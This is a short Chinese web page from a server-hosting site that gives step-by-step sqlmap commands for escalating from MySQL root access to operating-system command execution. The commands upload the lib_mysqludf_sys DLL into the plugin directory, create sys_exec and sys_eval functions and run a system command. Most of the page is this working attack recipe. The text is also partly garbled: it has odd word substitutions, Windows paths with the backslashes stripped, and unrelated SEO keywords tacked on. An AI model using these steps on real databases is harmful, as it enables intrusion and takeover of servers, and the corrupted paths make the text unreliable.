欢迎来到云服务器租用和托管数据中心

网络技术

利用sqlmap通过mysql提权的能力

 1.毗连mysql数据打开一个交互shell:

sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shell select @@version; select @@plugin_dir; d:wamp2.5inmysqlmysql5.6.17libplugin   2.操作sqlmap上传lib_mysqludf_sys到MySQL插件目次: sqlmap.py -d mysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll --file-dest=d:wamp2.5inmysqlmysql5.6.17libpluginlib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll' CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll' select sys_eval('ver');,directadmin安装 directadmin汉化

Copyright © 2003-2020 香港服务器和服务器租用 梦飞数据中心 版权所有